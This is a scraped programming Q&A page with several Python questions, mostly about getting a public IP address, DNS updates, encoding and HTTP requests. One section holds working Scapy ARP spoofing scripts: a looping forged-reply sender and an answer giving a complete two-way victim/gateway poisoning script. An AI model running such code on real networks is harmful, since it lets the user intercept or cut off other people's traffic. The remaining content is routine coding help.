Getting my IP using python - python

I am trying to update my rackspace dns with my IP using a python script.
My script works when I manually enter an IP in it, but dosen't when I get it from the outside, why?
This WORKS:
#!/usr/bin/env python
import clouddns
import requests
r= requests.get(r'http://curlmyip.com/')
ip= '4.4.4.4'
dns = clouddns.connection.Connection('******','********************')
domain = dns.get_domain(name='reazem.net')
record = domain.get_record(name='ssh.reazem.net')
record.update(data=ip, ttl=600)
This DOESN'T:
#!/usr/bin/env python
import clouddns
import requests
r= requests.get(r'http://curlmyip.com/')
**ip= '{}'.format(r.text)**
dns = clouddns.connection.Connection('******','********************')
domain = dns.get_domain(name='reazem.net')
record = domain.get_record(name='ssh.reazem.net')
record.update(data=ip, ttl=600)
Note: print '{}'.format(r.text) succesfully outputs my ip.
Helping you helping me: I just noticed that print '{}'.format(r.text) adds an extra line, how do I avoid that?
For those interested: https://github.com/rackspace/python-clouddns

Try ip = r.text.strip() to remove the extra newline.

Related

Arp Spoofing/Poisoning not working/stopped working

I've lately been trying to build a "Man in The Middle" using Python and Scapy (for my own practice, no malicious purposes).
I started off with writing code to create a dos, however for some reason it's acting strangely.
First of all, for some reason, when I run it on my Windows PC, the arp entry never changes. I've even gone as far as clearing the arp table (arp -d *), yet still the real mac address of the gateway returns.
Secondly, the code seems to work on my phone only partially - when opening websites, it just takes a long while. Also some websites seem unaffected (Instagram works...).
Also, running the code against different brands of phones resulted in different results.
Could it be that there are security measures on the different devices? Did I do something wrong?
Here is the code, thanks for the help!
from enum import Enum
import getmac
import netifaces
from scapy.all import ARP, Ether, sendp
class DeviceIps(Enum):
MyPhone = '192.168.1.27'
MyPc = '192.168.1.70'
class Device(object):
def __init__(self, ip: str):
self.ip = ip
def get_mac_from_ip(ip=None):
return getmac.get_mac_address(ip=ip)
def build_poison_packet(victim_ip):
ARP_RESPONSE_CODE = 0x2
FAKE_MAC_ADDRESS = 'aa:bb:cc:dd:ee:ff'
gateway_ip_address = netifaces.gateways()['default'][netifaces.AF_INET][0]
victim_mac_address = get_mac_from_ip(victim_ip)
poison_packet = Ether(src=FAKE_MAC_ADDRESS, dst=victim_mac_address) \
/ ARP(psrc=gateway_ip_address, # -> Address to lie about
hwsrc=FAKE_MAC_ADDRESS, # -> Mac address to direct to
hwdst=victim_mac_address, pdst=victim_ip, op=ARP_RESPONSE_CODE)
return poison_packet
def poison(target: Device):
poison_packet = build_poison_packet(target.ip)
print(poison_packet.show())
while True:
sendp(poison_packet)
def main():
poison(Device(DeviceIps.MyPc.value))
main()
Here's simple scapy code that send arp reply to victim and host (gateway) address.
You can clean up the both victim and host arp table before your script is terminated.
#!/bin/env python
from scapy.all import Ether, ARP, sendp
import time
victim_hw_addr = "34:e1:2d:83:20:aa"
victim_ip_addr = "192.168.43.152"
gw_hw_addr = "ce:9f:7a:7b:d7:aa"
gw_ip_addr = "192.168.43.1"
my_hw_addr = "8c:85:90:c3:0b:aa"
tmout = 100
arp4victim = Ether(dst=victim_hw_addr, src=my_hw_addr) / ARP(pdst=victim_ip_addr, hwdst=victim_hw_addr, psrc=gw_ip_addr, hwsrc=my_hw_addr, op=2)
arp4gw = Ether(dst=gw_hw_addr, src=my_hw_addr) / ARP(pdst=gw_ip_addr, hwdst=gw_hw_addr, psrc=victim_ip_addr, hwsrc=my_hw_addr, op=2)
while True:
sendp(arp4victim)
sendp(arp4gw)
time.sleep(3)
print "*"

Using the pyperclip moudel shows gremlin when chinese in clipboard

I have an issue that exists only on the MacOs. It works fine on Windows.
I am using python3.
Here is the code:
# coding=utf-8
# using address you inputed to open a web map site
import webbrowser, sys, pyperclip
if len(sys.argv) > 1:
#get address from command line.
address = ' '.join(sys.argv[1:])
else:
#get address from clip board.
address = pyperclip.paste()
webbrowser.open('https://ditu.amap.com/search?query=' + address)
For example:
copy "New York" works.
But when you copy "和卉家园" which is a Chinese address, it will be a mojibake (garbled text),and this problem exists only in MacOs.
I have no idea how to solve it, please help me ,Thank you!

Regarding memory consumption in python with urllib2 module

PS: I have a similar question with Requests HTTP library here.
I am using python v2.7 on windows 7 OS. I am using urllib2 module. I have two code snippets. One file is named as myServer.py The server class has 2 methods named as getName(self,code) and getValue(self).
The other script named as testServer.py simply calls the methods from the server class to retrieve the values and prints them. The server class basically retrieves the values from a Server in my local network. So, unfortunately I can't provide you the access for testing the code.
Problem: When I execute my testServer.py file, I observed in the task manager that the memory consumption keeps increasing. Why is it increasing and how to avoid it? If I comment out the following line
print serverObj.getName(1234)
in testServer.py then there is no increase in memory consumption.
I am sure that the problem is with the getName(self,code) of the server class. But unfortunately, I couldn't figure out what the problem is.
Code: Please find the code snippets below:
#This is the myServer.py file
import urllib2
import json
import random
class server():
def __init__(self):
url1 = 'https://10.0.0.1/'
username = 'user'
password = 'passw0rd'
passwrdmgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
passwrdmgr.add_password(None, url1, username, password)
authhandler = urllib2.HTTPBasicAuthHandler(passwrdmgr)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
def getName(self, code):
code = str(code)
url = 'https://10.0.0.1/' + code
response = urllib2.urlopen(url)
data = response.read()
name = str(data).strip()
return name
def getValue(self):
value = random.randrange(0,11)
return value
The following is the testServer.py snippet
from myServer import server
import time
serverObj = server()
while True:
time.sleep(1)
print serverObj.getName(1234)
print serverObj.getValue()
Thank you for your time!
This is question is quite similar to my other question. So I think the answer is also quite similar. The answer can be found here https://stackoverflow.com/a/23172330/2382792

Python requests fails to get webpages

I am using Python3 and the package requests to fetch HTML data.
I have tried running the line
r = requests.get('https://github.com/timeline.json')
, which is the example on their tutorial, to no avail. However, when I run
request = requests.get('http://www.math.ksu.edu/events/grad_conf_2013/')
it works fine. I am getting errors such as
AttributeError: 'MockRequest' object has no attribute 'unverifiable'
Error in sys.excepthook:
I am thinking the errors have something to do with the type of webpage I am attempting to get, since the html page that is working is just basic html that I wrote.
I am very new to requests and Python in general. I am also new to stackoverflow.
As a little example, here is a little tool which I developed in order to fetch data from a website, in this case IP and show it:
# Import the requests module
# TODO: Make sure to install it first
import requests
# Get the raw information from the website
r = requests.get('http://whatismyipaddress.com')
raw_page_source_list = r.text
text = ''
# Join the whole list into a single string in order
# to simplify things
text = text.join(raw_page_source_list)
# Get the exact starting position of the IP address string
ip_text_pos = text.find('IP Information') + 62
# Now extract the IP address and store it
ip_address = text[ip_text_pos : ip_text_pos + 12]
# print 'Your IP address is: %s' % ip_address
# or, for Python 3 ... #
# print('Your IP address is: %s' % ip_address)

Finding a public facing IP address in Python?

How can I find the public facing IP for my net work in Python?
This will fetch your remote IP address
import urllib
ip = urllib.urlopen('http://automation.whatismyip.com/n09230945.asp').read()
If you don't want to rely on someone else, then just upload something like this PHP script:
<?php echo $_SERVER['REMOTE_ADDR']; ?>
and change the URL in the Python or if you prefer ASP:
<%
Dim UserIPAddress
UserIPAddress = Request.ServerVariables("REMOTE_ADDR")
%>
Note: I don't know ASP, but I figured it might be useful to have here so I googled.
https://api.ipify.org/?format=json is pretty straight forward
can be parsed by just running requests.get("https://api.ipify.org/?format=json").json()['ip']
whatismyip.org is better... it just tosses back the ip as plaintext with no extraneous crap.
import urllib
ip = urllib.urlopen('http://whatismyip.org').read()
But yeah, it's impossible to do it easily without relying on something outside the network itself.
import requests
r = requests.get(r'http://jsonip.com')
# r = requests.get(r'https://ifconfig.co/json')
ip= r.json()['ip']
print('Your IP is {}'.format(ip))
Reference
If you don't mind expletives then try:
http://wtfismyip.com/json
Bind it up in the usual urllib stuff as others have shown.
There's also:
http://www.networksecuritytoolkit.org/nst/tools/ip.php
import urllib2
text = urllib2.urlopen('http://www.whatismyip.org').read()
urlRE=re.findall('[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}',text)
urlRE
['146.148.123.123']
Try putting whatever 'findmyipsite' you can find into a list and iterating through them for comparison. This one seems to work well.
This is simple as
>>> import urllib
>>> urllib.urlopen('http://icanhazip.com/').read().strip('\n')
'xx.xx.xx.xx'
You can also use DNS which in some cases may be more reliable than http methods:
#!/usr/bin/env python3
# pip install --user dnspython
import dns.resolver
resolver1_opendns_ip = False
resolver = dns.resolver.Resolver()
opendns_result = resolver.resolve("resolver1.opendns.com", "A")
for record in opendns_result:
resolver1_opendns_ip = record.to_text()
if resolver1_opendns_ip:
resolver.nameservers = [resolver1_opendns_ip]
myip_result = resolver.resolve("myip.opendns.com", "A")
for record in myip_result:
print(f"Your external ip is {record.to_text()}")
This is the python equivalent of dig +short -4 myip.opendns.com #resolver1.opendns.com

Categories